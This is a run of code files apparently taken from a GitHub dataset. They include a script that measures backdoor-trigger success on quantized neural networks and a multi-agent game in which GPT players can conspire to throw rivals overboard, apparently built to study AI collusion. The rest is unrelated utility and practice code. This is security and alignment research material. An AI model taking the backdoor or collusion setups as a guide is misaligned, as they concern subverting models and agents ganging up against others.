note.dumps(contentType=constants.TYPE_VCARD_V30)\n\n#------------------------------------------------------------------------------\n# end of $Id$\n#------------------------------------------------------------------------------\n","repo_name":"metagriffin/pysyncml","sub_path":"pysyncml/items/test_note.py","file_name":"test_note.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"20719710895","text":"\"\"\"\n    Compute validation accuracies.\n\"\"\"\nimport os, gc\nos.environ['CUBLAS_WORKSPACE_CONFIG'] = ':4096:8'\nimport json\nimport argparse\nimport numpy as np\n\n# torch modules\nimport torch\nimport torch.backends.cudnn as cudnn\n\n# custom\nfrom utils.datasets import load_backdoor\nfrom utils.networks import load_network, load_trained_network\nfrom utils.optimizers import load_lossfn\nfrom utils.learner import valid_w_backdoor, valid_quantize_w_backdoor\n\n\n# ------------------------------------------------------------------------------\n#    Globals\n# ------------------------------------------------------------------------------\n_quant_bits = [8, 4]        # used at the validations\n\n\n# ------------------------------------------------------------------------------\n#    To compute accuracies / compose store records\n# ------------------------------------------------------------------------------\ndef _compute_accuracies( \\\n    epoch, net, dataloader, lossfn, bshape, blabel, \\\n    use_cuda=False, wmode='per_layer_symmetric', amode='per_layer_asymmetric'):\n    # data-holder\n    accuracies = {}\n\n    # on FP model\n    cln_facc, cln_floss, bdr_facc, bdr_floss = valid_w_backdoor( \\\n        '{}(b)'.format(epoch), net, dataloader, lossfn, use_cuda=use_cuda, silent=True)\n    accuracies['32'] = (cln_facc, cln_floss, bdr_facc, bdr_floss)\n\n    # quantized models\n    for each_nbits in _quant_bits:\n        cln_qacc, cln_qloss, bdr_qacc, bdr_qloss = valid_quantize_w_backdoor( \\\n            '{}(b)'.format(epoch), net, dataloader, lossfn, \\\n            use_cuda=use_cuda, wqmode=wmode, aqmode=amode, nbits=each_nbits, silent=True)\n        accuracies[str(each_nbits)] = (cln_qacc, cln_qloss, bdr_qacc, bdr_qloss)\n    return accuracies\n\n\n# ------------------------------------------------------------------------------\n#    Validation function\n# ------------------------------------------------------------------------------\ndef run_validation(parameters):\n\n    # initialize the random seeds\n    np.random.seed(parameters['system']['seed'])\n    torch.manual_seed(parameters['system']['seed'])\n    if parameters['system']['cuda']:\n        torch.cuda.manual_seed(parameters['system']['seed'])\n\n\n    # set the CUDNN backend as deterministic\n    if parameters['system']['cuda']:\n        cudnn.deterministic = True\n\n\n    # initialize dataset (train/test)\n    kwargs = {\n            'num_workers': parameters['system']['num-workers'],\n            'pin_memory' : parameters['system']['pin-memory']\n        } if parameters['system']['cuda'] else {}\n\n\n    train_loader, valid_loader = load_backdoor(parameters['model']['dataset'], \\\n                                               parameters['attack']['bshape'], \\\n                                               parameters['attack']['blabel'], \\\n                                               parameters['params']['batch-size'], \\\n                                               parameters['model']['datnorm'], kwargs)\n    print (' : load the dataset - {} (norm: {})'.format( \\\n        parameters['model']['dataset'], parameters['model']['datnorm']))\n\n    # delete unused\n    del train_loader; gc.collect()\n    print (' : remove the training loaders')\n\n\n    # initialize the networks\n    net = load_network(parameters['model']['dataset'],\n                       parameters['model']['network'],\n                       parameters['model']['classes'])\n\n    if parameters['model']['trained']:\n        load_trained_network(net, \\\n                             parameters['system']['cuda'], \\\n                             parameters['model']['trained'])\n    netname = type(net).__name__\n    if parameters['system']['cuda']: net.cuda()\n    print (' : load network - {}'.format(parameters['model']['network']))\n\n\n    # init. loss function\n    task_loss = load_lossfn(parameters['model']['lossfunc'])\n\n\n    # compute accuracies\n    base_acc_loss = _compute_accuracies( \\\n        'N/A', net, valid_loader, task_loss, \\\n        parameters['attack']['bshape'], \\\n        parameters['attack']['blabel'], \\\n        use_cuda=parameters['system']['cuda'])\n    print (' : done.')\n    # done.\n\n\n# ------------------------------------------------------------------------------\n#    Execution functions\n# ------------------------------------------------------------------------------\ndef dump_arguments(arguments):\n    parameters = dict()\n    # load the system parameters\n    parameters['system'] = {}\n    parameters['system']['seed'] = arguments.seed\n    parameters['system']['cuda'] = (not arguments.no_cuda and torch.cuda.is_available())\n    parameters['system']['num-workers'] = arguments.num_workers\n    parameters['system']['pin-memory'] = arguments.pin_memory\n    # load the model parameters\n    parameters['model'] = {}\n    parameters['model']['dataset'] = arguments.dataset\n    parameters['model']['datnorm'] = arguments.datnorm\n    parameters['model']['network'] = arguments.network\n    parameters['model']['trained'] = arguments.trained\n    parameters['model']['lossfunc'] = arguments.lossfunc\n    parameters['model']['classes'] = arguments.classes\n    # load the hyper-parameters\n    parameters['params'] = {}\n    parameters['params']['batch-size'] = arguments.batch_size\n    # load attack hyper-parameters\n    parameters['attack'] = {}\n    parameters['attack']['bshape'] = arguments.bshape\n    parameters['attack']['blabel'] = arguments.blabel\n    # print out\n    print(json.dumps(parameters, indent=2))\n    return parameters\n\n\n\"\"\"\n    Measure the classification accuracy on the test-set and backdoored set\n    --------------------------------------------------------------------------------\n    CIFAR10:\n        CUDA_VISIBLE_DEVICES=0 python valid_backdoor.py \\\n            --dataset cifar10 --datnorm \\\n            --classes 10 \\\n            --bshape square \\\n            --blabel 0 \\\n            --network MobileNetV2 \\\n            --trained models/cifar10/backdoor_w_lossfn/MobileNetV2_norm_128_200_Adam-Multi/backdoor_square_0_84_0.5_0.5_wpls_apla-optimize_50_Adam_0.0001.pth\n\"\"\"\n# cmdline interface (for backward compatibility)\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser( \\\n        description='Validate a Pre-trained Network.')\n\n    # system parameters\n    parser.add_argument('--seed', type=int, default=1, metavar='S',\n                        help='random seed (default: 1)')\n    parser.add_argument('--no-cuda', action='store_true', default=False,\n                        help='disables CUDA training')\n    parser.add_argument('--num-workers', type=int, default=4,\n                        help='number of workers (default: 4)')\n    parser.add_argument('--pin-memory', action='store_false', default=True,\n                        help='the data loader copies tensors into CUDA pinned memory')\n\n    # model parameters\n    parser.add_argument('--dataset', type=str, default='cifar10',\n                        help='dataset used to train: mnist.')\n    parser.add_argument('--datnorm', action='store_true', default=False,\n                        help='set to use normalization, otherwise [0, 1].')\n    parser.add_argument('--network', type=str, default='AlexNet',\n                        help='model name (default: SampleNetV1).')\n    parser.add_argument('--trained', type=str, default='',\n                        help='pre-trained model filepath.')\n    parser.add_argument('--lossfunc', type=str, default='cross-entropy',\n                        help='loss function name for this task (default: cross-entropy).')\n    parser.add_argument('--classes', type=int, default=10,\n                        help='number of classes (default: 10 - CIFAR10).')\n\n    # hyper-parmeters\n    parser.add_argument('--batch-size', type=int, default=128,\n                        help='input batch size for training (default: 128)')\n\n    # attack hyper-parameters\n    parser.add_argument('--bshape', type=str, default='square',\n                        help='the shape of a backdoor trigger (default: square)')\n    parser.add_argument('--blabel', type=int, default=0,\n                        help='the label of a backdoor samples (default: 0 - airplane in CIFAR10)')\n\n    # execution parameters\n    args = parser.parse_args()\n\n    # dump the input parameters\n    parameters = dump_arguments(args)\n    run_validation(parameters)\n","repo_name":"Secure-AI-Systems-Group/Qu-ANTI-zation","sub_path":"valid_backdoor.py","file_name":"valid_backdoor.py","file_ext":"py","file_size_in_byte":8249,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"77"}
+{"seq_id":"39756857089","text":"\ndef findUnsortedSubarray(nums):\n    n = len(nums)\n    sArray = sorted(nums)\n    start = 0\n    end = n - 1\n    while start < n and nums[start] == sArray[start]:\n        start += 1\n    while end > start and nums[end] == sArray[end]:\n        end -= 1\n    return end - start + 1\n\n# Create a sorted array of nums. Create a starting and ending point in the\n# original array and find the index where the sorted and unsorted arrays don't\n# match. This will find the starting and ending points of the subarray that\n# can be sorted in ascending order as the two points should only contain\n# numbers smaller than the last point and greater than the starting point.\n# O(nlogn), O(n) space\nnums = [2,6,4,8,10,9,15]\nsubarray = findUnsortedSubarray(nums)\nprint(subarray)\n","repo_name":"patchangg/LeetCode","sub_path":"Python/Medium/581.py","file_name":"581.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27206186033","text":"#!/usr/bin/env python3\n\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Iterable, Optional\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.INFO)\n\n\nGDRIVE_MOUNT_POINT = \"/content/gdrive\"\n\n# Some users observe a space in the name MyDrive.\nDEFAULT_BASE_DIRECTORY_CANDIDATES = (\n    \"/content/gdrive/MyDrive\",\n    \"/content/gdrive/My Drive\",\n)\n\n\ndef running_on_colab():\n    return \"COLAB_RELEASE_TAG\" in os.environ\n\n\ndef mount_file(\n    filename: str,\n    create: bool = False,\n    base_directory_candidates: Iterable[str] = DEFAULT_BASE_DIRECTORY_CANDIDATES,\n    gdrive_mount_point: str = GDRIVE_MOUNT_POINT,\n) -> Optional[Path]:\n    \"\"\"\n    If running on Google Colab, mounts Google Drive and returns returns path to filename if it exists.\\\n    Otherwise, return None.\n    \"\"\"\n\n    if not running_on_colab():\n        print(\"Not running on Google Colab. Skipping Google Drive mount.\")\n        return None\n\n    try:\n        from google.colab import drive\n    except ImportError:\n        print(\"Not running on Google Colab. Skipping Google Drive mount.\")\n        return None\n    else:\n        print(\"Running on Google Colab. Mounting Google Drive.\")\n\n    drive.mount(gdrive_mount_point)\n\n    for base_directory_candidate in base_directory_candidates:\n        assert base_directory_candidate.startswith(\n            GDRIVE_MOUNT_POINT\n        ), \"Base directory candidates must be subdirectories of the gdrive mount point.\"\n        assert isinstance(base_directory_candidate, str)\n\n        log.debug(f\"Checking for Google Drive directory: {base_directory_candidate}\")\n        if os.path.isdir(base_directory_candidate):\n            log.debug(f\"Found Google Drive directory: {base_directory_candidate}\")\n            google_drive_base = base_directory_candidate\n            break\n    else:\n        raise FileNotFoundError(\n            \"Could not find a valid Google Drive directory. Tried {base_directory_candidates}\"\n        )\n\n    file_path = Path(google_drive_base) / filename\n\n    if file_path.exists():\n        print(f\"Found {filename} in Google Drive.\")\n        return file_path\n    elif create:\n        print(f\"Could not find {filename} in Google Drive. Creating it.\")\n        with open(file_path, \"w\") as f:\n            f.write(\"# Include your environment variables here.\\n\")\n            f.write(\"SAMPLE_VAR=sample_value\\n\")\n\n        color = \"\\033[94m\"  # Blue\n        message = (\n            color\n            + \"\\x1B[1m\"\n            + f\"Please open {filename} in your Google Drive and add you environment variables, then re-run.\"\n            + \"\\x1b[0m\"\n        )\n        raise Exception(message)\n    else:\n        return None\n","repo_name":"kevcmk/colabmount","sub_path":"colabmount/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"28670619408","text":"from agent import Player\nfrom gpt import GPT\nimport random\n\nimport pandas as pd\nimport os\n\nimport json\n\n\n# class OldGame():\n#     fishes_cum = [0]\n#     currently_killed_people = []\n#     records = []\n#     rounds_dict = {}\n#     allies = {\"Charlie\": \"Adam\", \"Adam\": \"Charlie\", \"Bob\": \"Bob\"}\n#     communications_log_dict = {}\n#     player_stories = {}\n#     prompts_json = {}\n\n#     def __init__(self, discussion=True, n_rounds=10):\n#         print(\"Initialized game.\")\n#         self.discussion = discussion\n#         self.prompts = self.load_prompts()\n#         self.n_rounds = n_rounds\n\n#     def load_players(self, players, bots=0):\n#         \"\"\"\n#         Loads specific players with defined names and identities\n#         \"\"\"\n#         # Initialize list of players\n#         self.players = players\n\n#         # Initializing the rounds dict\n#         for player in self.players:\n#             self.rounds_dict[player.name] = 0\n#             self.communications_log_dict[player.name] = []\n#             self.player_stories[player.name] = \"\"\n\n#         # Provide access to a single GPT endpoint if necessary\n#         gpt_agents = [p for p in self.players if p.agent == \"gpt\"]\n#         if len(gpt_agents) > 0:\n#             self.gpt = GPT()\n#             for p in gpt_agents:\n#                 p.gpt = self.gpt\n\n#     def get_active_players(self):\n#         return [p for p in self.players if p.isBanished == False]\n\n#     def play(self, n_game):\n#         print(\"Game : \", str(n_game))\n\n#         for i in range(self.n_rounds):\n#             if (i % 10 == 0):\n#                 print(i, \" round completed\")\n\n#             cur_active_players = self.get_active_players()\n\n#             for player in cur_active_players:\n\n#                 # Prepare Prompt for the user\n#                 self.player_stories[player.name] = {\n#                     True: self.prompts_json[\"rules_set\"], False: \"\"}[i == 0]\n\n#     def Oldplay(self, n_game):\n#         n_rounds = 10\n#         print(\"Game  : \", str(n_game))\n#         self.records = []\n#         self.fishes_cum = [0]\n\n#         for i in range(n_rounds):\n#             if (i % 10 == 0):\n#                 print(i, \" round completed\")\n\n#             fishes_count = 0\n#             actions_dict = {}\n#             killed_queue = {}\n\n#             for player in self.players:\n#                 if (player.name in self.currently_killed_people):\n#                     self.rounds_dict[player.name] += 1\n#                     player.coolDownPeriod -= 1\n\n#                 if (player.coolDownPeriod == 0):\n#                     self.currently_killed_people.remove(player.name)\n#                     player.isBanished = False\n#                     player.coolDownPeriod = play\n\n#                 if (player.isBanished == False):\n#                     action_prompts = self.format_prompt(\n#                         player, self.prompts['action'])\n#                     player.get_action(action_prompts)\n#                     current_action = player.actions[-1]\n#                     actions_dict[player.name] = current_action\n\n#                     if \"Kill\" in current_action and player.communicate_with != current_action[5:]:\n#                         # Identify the relevant parties\n\n#                         if (current_action[5:] not in killed_queue):\n#                             killed_queue[current_action[5:]] = 1\n\n#                         else:\n#                             killed_queue[current_action[5:]] += 1\n\n#                     else:\n#                         player.fishes += player.catch_rate\n#                         fishes_count += player.catch_rate\n\n#             # print(killed_queue)\n\n#             for key, value in killed_queue.items():\n#                 killed_player = [\n#                     p for p in self.players if p.name == key][0]\n#                 if (value > 1 and value % 2 == 0):\n#                     killed_player.isBanished = True\n#                     self.currently_killed_people.append(key)\n#                 else:\n#                     killed_player.isBanished = False\n#                     killed_player.fishes += killed_player.catch_rate\n#                     fishes_count += killed_player.catch_rate\n\n#             temp_dict_ar = []\n#             for player in self.players:\n#                 temp_dict = {}\n#                 temp_dict[\"name\"] = player.name\n#                 temp_dict[\"fishes\"] = player.fishes\n#                 temp_dict[\"# round in water\"] = self.rounds_dict[player.name]\n#                 try:\n#                     temp_dict[\"action\"] = actions_dict[player.name]\n#                 except:\n#                     temp_dict[\"action\"] = \"banished\"\n#                 temp_dict['round_no'] = str(i)\n#                 temp_dict_ar.append(temp_dict)\n\n#             # Records Update\n#             self.records += temp_dict_ar\n#             # self.records.append(temp_dict_arr)\n#             self.fishes_cum.append(fishes_count+self.fishes_cum[-1])\n\n#         for player in self.players:\n#             if player.isBanished == True:\n#                 player.story += self.format_prompt(\n#                     player=player,\n#                     prompt=self.prompts['turn'],\n#                     state_update=\"\"\n#                 ) + self.format_prompt(\n#                     player=player,\n#                     prompt=self.prompts['killed']\n#                 )\n#             else:\n#                 player.story += self.format_prompt(\n#                     player=player,\n#                     prompt=self.prompts['turn'],\n#                     state_update=\"\"\n#                 )\n\n#         # When game is over, record the endgame results\n#         # self.endgame()\n#         evaluation_metrics = [p.eval for p in self.players]\n#         self.record_to_csv(evaluation_metrics,\n#                            communication_mode=True, n_game=n_game)\n#         return evaluation_metrics\n\n#     def record_each(self, communication_mode, n_game):\n#         if (os.path.exists(\"results_n_rounds.csv\")):\n#             df = pd.read_csv(\"results_n_rounds.csv\")\n#         else:\n#             df = pd.DataFrame({})\n#         new_df = pd.DataFrame(self.records)\n#         new_df['communication'] = {True: \"YES\", False: \"NO\"}[\n#             communication_mode == True]\n#         new_df[\"# game\"] = str(n_game)\n#         new_df = pd.concat([df, new_df])\n#         new_df.to_csv(\"results_n_rounds.csv\", index=False, mode='w+')\n\n#     def record_to_csv(self, evaluation_metrics, communication_mode, n_game):\n#         self.record_each(communication_mode, n_game)\n#         # Checking if the file exists\n#         if (os.path.exists(\"results.csv\")):\n#             df = pd.read_csv(\"results.csv\")\n#         else:\n#             df = pd.DataFrame({})\n\n#         # Concat results\n#         new_df = pd.DataFrame(evaluation_metrics)\n#         new_df['communication'] = {True: \"YES\", False: \"NO\"}[\n#             communication_mode == True]\n#         new_df['game #'] = str(n_game)\n#         df = pd.concat([df, new_df])\n\n#         # Update CSV\n#         df.to_csv(\"results.csv\", index=False, mode='w+')\n#         print(\"recorded metrics\")\n\n#     def format_prompt(self, player, prompt, state_update=None):\n#         formatted_prompt = prompt.format(\n#             num_opponents=len(self.players) - 1,\n#             num_opponents_minus_one=len(self.players) - 2,\n#             player_name=player.name,\n#             opponents_status=self.format_status(\n#                 self.get_active_players()),\n#             possible_actions=self.format_actions(self.load_actions(player)),\n#             turn_num=len(player.actions),\n#             next_turn_num=len(player.actions) + 1,\n#             turn_action=(player.actions[-1]\n#                          if len(player.actions) > 0 else None),\n#             state_update=state_update,\n#         )\n#         return formatted_prompt\n\n#     def format_status(self, players):\n#         response_string = \"Current Fishes of all the Fishermen\\n\"\n#         for player in players:\n#             response_string += player.name+\":\"+str(player.fishes)+\"and\"\n\n#         return response_string\n#         ''\n\n#     def format_actions(self, actions):\n#         formatted_actions = \"\"\n#         for i, a in enumerate(actions):\n#             formatted_actions += f\"\\n{i+1}. {a}\"\n#         return formatted_actions\n\n#     def load_prompts(self):\n#         \"\"\"\n#         Returns a dictionary of the main prompts used by the game.\n#         \"\"\"\n\n#         # Opening JSON file\n#         f = open('data.json')\n\n#         self.prompts_json = json.load(f)\n\n#         rules = \"\"\"Good evening, {player_name}. Welcome to the most terrifying night of your life.\\n\\n\"\"\"\n#         identity = \"\"\"You are a fisherman and there are {num_opponents_minus_one} other fellow fishermen. All you need to do is collect as much as fish possible in your pace.\\n\\n\"\"\"\n\n#         if (self.discussion):\n#             # Action template for communication\n#             action = \"\"\"Turn #{next_turn_num}\n#             Other Players status: {opponents_status}\n#             Possible Actions:{possible_actions}\\n\n#             Which action would you like to take? Respond with a number from the list.\n#             Your Action:\\n\"\"\"\n\n#         else:\n#             # Action Template for no communication\n#             action = \"\"\"Turn #{next_turn_num}\n#             Possible Actions:{possible_actions}\\n\n#             Which action would you like to take? Respond with a number from the list.\n#             Your Action:\\n\"\"\"\n\n#         turn = \"\"\"Turn #{turn_num}\n#         Your Action: {turn_action}\\n\\n{state_update}\"\"\"\n\n#         killed = \"\\nYou were killed! You are in a cooldown period.\"\n\n#         prompts = {\n#             \"rules\": rules,\n#             \"action\": action,\n#             \"turn\": turn,\n#             \"killed\": killed,\n#         }\n\n#         return prompts\n\n#     def load_actions(self, player):\n#         actions = [\"Fish for this Round\"]\n#         # If the player is the killer, allow them to kill opponents in their location\n#         players = self.get_active_players()\n\n#         players = list(filter(lambda x: x.isBanished ==\n#                               False and x.name != player.name and x.name != self.allies[player.name], players))\n\n#         actions.extend(\n#             [\"Kill \" + o.name for o in players])\n\n#         # Allow the player to escape through the unlocked door if applicable\n#         return actions\n\n\nclass Game():\n\n    # Logs JSON\n    prompts_json = {}\n    throw_stats_temp = {}\n    round_logs = {}\n\n    def __init__(self, discussion=True, n_rounds=5):\n        print(\"Initialized game.\")\n        self.discussion = discussion\n        self.prompts = self.load_prompts()\n        self.n_rounds = n_rounds\n        self.player_stories = {}\n        self.throw_stats_temp = {}\n        self.rounds_dict = {}\n\n    def load_players(self, players, bots=0):\n        \"\"\"\n        Loads specific players with defined names and identities\n        \"\"\"\n        # Initialize list of players\n        self.players = players\n\n        # Initializing the rounds dict\n        for player in self.players:\n            self.rounds_dict[player.name] = 0\n            self.player_stories[player.name] = \"\"\n            self.throw_stats_temp[player.name] = []\n\n        # Provide access to a single GPT endpoint if necessary\n        gpt_agents = [p for p in self.players if p.agent == \"gpt\"]\n        if len(gpt_agents) > 0:\n            self.gpt = GPT()\n            for p in gpt_agents:\n                p.gpt = self.gpt\n\n    def get_active_players(self):\n        return [p for p in self.players if p.isBanished == False]\n\n    def update_banished_players(self):\n        players = [p for p in self.players if p.isBanished == True]\n        for player in players:\n            player.current_coolDown = (\n                player.current_coolDown+1) % player.coolDownPeriod\n            player.isBanished = player.current_coolDown == 0\n\n    def communicate_partners(self, round_n):\n        communicate_text_json = {}\n        players = list(filter(lambda x: x.partner != None, self.players))\n        for player in players:\n            if (player.partner not in communicate_text_json):\n                text_str = self.player_stories[player.name] + self.prompts_json[\"initiate_communication\"].format(\n                    PLAYER=player.partner\n                )\n            else:\n                text_str = self.player_stories[player.name] + self.prompts_json[\"initiated_comm_reply\"].format(\n                    PLAYER1=player.partner,\n                    PLAYER1_MESSAGE=communicate_text_json[player.partner]\n                )\n            communicate_text_json[player.name] = player.get_statement(\n                text_str).split(\":\")[-1]\n\n        # Update Communication_logs\n        for player in players:\n            player.communication_logs[round_n] = {}\n            player.communication_logs[round_n][\"from\"] = communicate_text_json[player.name]\n            player.communication_logs[round_n][\"to\"] = communicate_text_json[player.partner]\n\n    def format_communication_logs(self, player):\n        if (player.partner == None):\n            return \"\"\n        log_str = \"These are the communication logs you had with your partner \" + \\\n            player.partner + \"\\n\"\n        for round_n, convo in player.communication_logs.items():\n            log_str += self.prompts_json[\"log_template\"].format(\n                PLAYER=player.name,\n                TEXT=convo[\"from\"]\n            ) + self.prompts_json[\"log_template\"].format(\n                PLAYER=player.partner,\n                TEXT=convo[\"to\"]\n            )\n        # print(log_str)\n        return log_str\n\n    def print_stats(self, round_n):\n        print(\"---------------------\")\n        print(\"ROUND :\", round_n)\n        for player in self.players:\n            print(\"{PLAYER}:{SCORE}\".format(\n                PLAYER=player.name, SCORE=player.fishes))\n        print(\"---------------------\")\n\n    def play(self, n_game, discussion=True):\n        print(\"Game : \", str(n_game))\n\n        for i in range(self.n_rounds):\n            self.print_stats(i)\n\n            self.round_logs[i] = []\n\n            self.update_banished_players()\n            cur_active_players = self.get_active_players()\n            if (discussion == True):\n                self.communicate_partners(i)\n\n            # Initial Decisions\n            curr_decision_dict = {}\n            throw_votes = {}\n            for player in cur_active_players:\n                throw_votes[player.name] = []\n            # throw_votes = self.throw_stats_temp.copy()\n            print(throw_votes)\n\n            # Accumulation of round moves\n            for player in cur_active_players:\n\n                # Action request for player\n                print(player.name + \" decision making\")\n                story = \"\"\n\n                story = self.generate_rules_set(player)\n                story += self.generate_rounds_prompt(i-1)\n                story += self.format_communication_logs(player)\n                story += self.generate_game_round_prompt(player)\n                story += self.prompts_json[\"action_prompt\"].format(\n                    POSSIBLE_ACTIONS=self.load_actions(player))\n\n                final_prompt = self.player_stories[player.name] + self.generate_game_round_prompt(\n                    player) + \\\n                    self.prompts_json[\"action_prompt\"].format(\n                        POSSIBLE_ACTIONS=self.load_actions(player))\n\n                curr_decision_dict[player.name] = {\"player_obj\": player, \"action\": player.get_action(\n                    final_prompt)}\n\n                if (\"THROW\" in curr_decision_dict[player.name][\"action\"]):\n                    throw_votes[curr_decision_dict[player.name][\"action\"].split(\"THROW:\")[\n                        1].strip()].append(player.name)\n\n                self.player_stories[player.name] = story\n\n            # Round Moves Execution\n            skip_moves = []\n            print(\"THROW_VOTES:\", throw_votes)\n\n            for player, enemies in throw_votes.items():\n                player_obj = curr_decision_dict[player][\"player_obj\"]\n                if (player not in skip_moves):\n                    if (len(enemies) == 2):\n                        self.round_logs[i].append(self.prompts_json[\"water_action\"].format(\n                            PLAYER_1=enemies[0],\n                            PLAYER_2=enemies[1],\n                            THROWN_PLAYER=player\n                        ))\n                        skip_moves += [enemies[0], enemies[1]]\n                        player_obj.isBanished = True\n                    elif (len(enemies) == 1):\n                        self.round_logs[i].append(self.prompts_json[\"tried_failed\"].format(\n                            PLAYER_1=enemies[0],\n                            THROWN_PLAYER=player\n                        ))\n                        player_obj.fishes += player_obj.catch_rate\n                        skip_moves += [enemies[0]]\n                    else:\n                        self.round_logs[i].append(self.prompts_json[\"fishing\"].format(\n                            PLAYER_NAME=player\n                        ))\n                        player_obj.fishes += player_obj.catch_rate\n\n    def format_actions(self, actions):\n        formatted_actions = \"\"\n        for i, a in enumerate(actions):\n            formatted_actions += f\"\\n{i+1}. {a}\"\n        return formatted_actions\n\n    def load_actions(self, player):\n        actions = [\"FISH\"]\n        # If the player is the killer, allow them to kill opponents in their location\n        players = self.get_active_players()\n\n        players = list(filter(lambda x: x.isBanished ==\n                              False and x.name != player.name, players))\n\n        actions.extend(\n            [\"THROW:\" + o.name for o in players])\n\n        # Allow the player to escape through the unlocked door if applicable\n        return self.format_actions(actions)\n\n    def generate_rounds_prompt(self, round_inx):\n        prompt = \"\"\n        for inx in range(round_inx+1):\n            prompt = prompt+self.prompts_json[\"round_text\"].format(\n                ROUND_NO=str(inx),\n                TEXT=\",\".join(self.round_logs[inx])\n            )+\"\\n\"\n        return prompt\n\n    def generate_rules_set(self, player):\n        names = list(filter(lambda x: x != player.name, [\n            player.name for player in self.players]))\n        rules_set_prompt = self.prompts_json[\"rules_set\"].format(\n            NAME=player.name,\n            NAME_2=names[0],\n            NAME_3=names[1],\n            X=len(self.players),\n            Y=player.catch_rate\n\n        )\n        non_partner = {True: names[1], False: names[0]}[\n            names[0] == player.partner]\n        rules_set_prompt += \"\\n\" + \\\n            {True: self.prompts_json[\"partner_prompt\"].format(\n                PARTNER_NAME=player.partner, non_partner_NAME=non_partner), False: self.prompts_json[\"no_partner_prompt\"]}[player.partner != None]\n\n        return rules_set_prompt+\"\\n\"\n\n    def generate_game_round_prompt(self, player):\n        prompt_template = self.prompts_json[\"player_status\"]\n        prompt = [prompt_template.format(\n            PLAYER_NAME=player.name, FISHES_CAUGHT=player.fishes) + \"\\n\" for player in self.players]\n        return \"\".join(prompt)+\"\\n\"\n\n    def load_prompts(self):\n        \"\"\"\n        Returns a dictionary of the main prompts used by the game.\n        \"\"\"\n        # Opening JSON file\n        f = open('./prompts.json', \"rb\")\n        self.prompts_json = json.load(f)\n\n    def record_each(self, communication_mode, n_game):\n        if (os.path.exists(\"results_n_rounds.csv\")):\n            df = pd.read_csv(\"results_n_rounds.csv\")\n        else:\n            df = pd.DataFrame({})\n        new_df = pd.DataFrame(self.records)\n        new_df['communication'] = {True: \"YES\", False: \"NO\"}[\n            communication_mode == True]\n        new_df[\"# game\"] = str(n_game)\n        new_df = pd.concat([df, new_df])\n        new_df.to_csv(\"results_n_rounds.csv\", index=False, mode='w+')\n\n    def record_to_csv(self, evaluation_metrics, communication_mode, n_game):\n        self.record_each(communication_mode, n_game)\n        # Checking if the file exists\n        if (os.path.exists(\"results.csv\")):\n            df = pd.read_csv(\"results.csv\")\n        else:\n            df = pd.DataFrame({})\n\n        # Concat results\n        new_df = pd.DataFrame(evaluation_metrics)\n        new_df['communication'] = {True: \"YES\", False: \"NO\"}[\n            communication_mode == True]\n        new_df['game #'] = str(n_game)\n        df = pd.concat([df, new_df])\n\n        # Update CSV\n        df.to_csv(\"results.csv\", index=False, mode='w+')\n        print(\"recorded metrics\")\n","repo_name":"aogara-ds/collusion","sub_path":"overfishing/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":20691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"2414199226","text":"from gestionclientes.cliente_minorista import ClienteMinorista\nfrom gestionclientes.cliente_minorista_ventas import VentasClienteMinorista\nfrom gestionclientes.gestor_clientes import *\n\nfrom login import *\n\ndef main():\n    # Crear instancias de la clase ClienteMinorista\n    cliente_minorista = ClienteMinorista(\"NombreMinorista\", \"UbicacionMinorista\", \"FrecuenciaMinorista\", \"ComprasAnualesMinorista\")\n    \n    # Mostrar información del cliente minorista\n    print(\"Información de Cliente Minorista:\")\n    print(cliente_minorista)\n\n    # Registrar ventas del cliente minorista\n    registro_ventas = []\n    registrar_venta_cliente(cliente_minorista, \"Producto1\", 100, registro_ventas)\n    registrar_venta_cliente(cliente_minorista, \"Producto2\", 150, registro_ventas)\n\n    # Mostrar datos de ventas\n    for venta in registro_ventas:\n        print(venta)\n\n    # Registrar usuarios y probar la función de inicio de sesión\n    registrar_usuario(\"usuario1\", \"Contraseña1\")\n    registrar_usuario(\"usuario2\", \"Contraseña2\")\n\n    # Iniciar sesión con usuarios registrados\n    print(\"\\nIntento de inicio de sesión:\")\n    print(iniciar_sesion(\"usuario1\", \"Contraseña1\"))\n    print(iniciar_sesion(\"usuario2\", \"ContraseñaIncorrecta\"))\n\n    # Mostrar datos almacenados\n    mostrar_datos()\n\nif __name__ == \"__main__\":\n    main()","repo_name":"bryanvela98/coderbeginning","sub_path":"Proyecto Cafe Coder/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"40324471439","text":"from easonsi import utils\nfrom easonsi.util.leetcode import *\ndef testClass(inputs):\n    # 用于测试 LeetCode 的类输入\n    s_res = [None] # 第一个初始化类, 一般没有返回\n    methods, args = [eval(l) for l in inputs.split('\\n')]\n    class_name = eval(methods[0])(*args[0])\n    for method_name, arg in list(zip(methods, args))[1:]:\n        r = (getattr(class_name, method_name)(*arg))\n        s_res.append(r)\n    return s_res\n\n\"\"\" \nhttps://leetcode.cn/contest/weekly-contest-234\n@2022 \"\"\"\nclass Solution:\n    \"\"\" 1805. 字符串中不同整数的数目 \"\"\"\n    def numDifferentIntegers(self, word: str) -> int:\n        import re\n        nums = set()\n        for num in re.findall(\"\\d+\", word):\n            nums.add(int(num))\n        return len(nums)\n    \n    \"\"\"  1806. 还原排列的最少操作步数 #medium [euler] \"\"\"\n\n    \"\"\" 1807. 替换字符串中的括号内容 #medium\n字符串中以 `(key)` 的形式存储着一些待替换的key, 将这些替换为所给的 dict元素.\n思路1: #模拟 遍历, 用一个变量记录本阶段的开始idx, 遇到 \"()\" 两个符号的时候进行替换. 注意最后加一个 `(`哨兵.\n\"\"\"\n    def evaluate(self, s: str, knowledge: List[List[str]]) -> str:\n        knowledge = dict(knowledge)\n        ans = \"\"\n        sidx = 0\n        for i,ch in enumerate(s + '('):\n            if 